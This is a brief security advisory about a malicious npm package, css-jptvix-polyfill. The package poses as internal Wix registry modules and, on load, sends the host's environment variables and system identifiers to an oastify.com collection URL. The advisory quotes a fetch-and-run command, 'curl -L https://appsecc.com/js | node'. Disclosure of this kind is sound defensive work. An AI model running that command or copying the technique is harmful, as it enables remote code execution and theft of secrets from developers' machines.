css-jptvix-polyfill@1.0.0

Summary

The package ships thunderboltRegistry.js, a Proxy-based shim that exports names mimicking internal Wix thunderbolt modules (thunderboltRegistry, siteAssetsRegistry, editorRegistry, corvidRegistry, documentManagementRegistry, and others) so that any import of those names in a victim build auto-triggers its payload. On load, the module uses child_process.execSync to run id, whoami, env, and ifconfig/ip addr, and ships the output together with the hostname via fetch to the hardcoded Burp Collaborator subdomain https://orj3tao0ic8oj24h9njymexmtdz5ztphe.oastify.com, leaking the full process environment (including any tokens or secrets present) and host identifiers off the installer's machine. The same IIFE additionally runs curl -L https://appsecc.com/js | node, piping attacker-controlled JavaScript from an unrelated third-party domain directly into the installer's Node.js interpreter; the code labels this branch reverse-shell. The package name and the Wix-internal registry shape are consistent with a dependency-confusion lure targeting Wix thunderbolt builds.

Source: amazon-inspector (cea61788c370593a2720461d06b74942933d38d30b449851a05541b5b7f189aa)